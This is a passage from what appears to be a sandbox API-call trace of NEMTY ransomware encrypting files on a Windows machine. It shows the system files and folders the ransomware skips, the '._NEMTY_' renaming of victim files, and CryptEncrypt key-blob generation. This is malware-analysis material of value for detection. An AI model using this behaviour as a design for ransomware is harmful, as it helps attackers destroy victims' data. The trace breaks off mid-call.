lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.563] CloseHandle (hObject=0xffffffff) returned 0 [0055.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0055.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0055.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0055.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.563] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png._nemty_kgobjgd_")) returned 0 [0055.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.564] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2=".") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="..") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="...") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="windows") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="$RECYCLE.BIN") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="rsa") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="NTDETECT.COM") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="ntldr") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="MSDOS.SYS") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="IO.SYS") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="boot.ini") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="boot.ini") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="AUTOEXEC.BAT") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="ntuser.dat") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="desktop.ini") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="CONFIG.SYS") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="RECYCLER") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="BOOTSECT.BAK") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="bootmgr") returned 1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="programdata") returned -1 [0055.564] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="appdata") returned 1 [0055.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0055.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_rightarrow.png", lpUsedDefaultChar=0x0) returned 18 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0055.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_rightarrow.png", lpUsedDefaultChar=0x0) returned 18 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_rightarrow.png", lpUsedDefaultChar=0x0) returned 18 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_rightarrow.png", lpUsedDefaultChar=0x0) returned 18 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94358 [0055.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0055.565] Sleep (dwMilliseconds=0x5) [0055.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4c687d0, dwHighDateTime=0x1d561e7)) [0055.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4c687d0, dwHighDateTime=0x1d561e7)) [0055.581] GetLastError () returned 0x5 [0055.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.581] GetLastError () returned 0x5 [0055.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.581] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.581] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.581] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0055.581] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="Iamsnvzi1HVFBdeVtJrZ+fVMn1OPBGpW7V7COyClofDs/tozwGFtZIHJOgmwrHJ7\r\nRwt+EYBcIoCpjNEZ5kx6sVS5Pr7/CzpF0Coj23R/ZqYQEOxgDYqhMi3m4i/kmYDN\r\nRRJwOTb/+eoltaGrTEJbpu3pRCYkMOIyFZH4vxyknof5Inm2kaezaet3F/9nC4x5\r\nNxJ5zbP0M5qEFd9uDD1r+9p5VPEjw9YS0xEy1n5qDAaK+QUapRXZEMA5ipG6upal\r\nBYSMYPjYFctaHbwBpzYPRDxJ3mxa7yX2MD3gBU1M9mrH5ZPFlrFlQZhE9v5ITDbG\r\nQz2IVe9AFuj2mgj40X0APQ==\r\n", pcchString=0x653e91c) returned 1 [0055.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0055.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0055.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0055.582] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.582] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 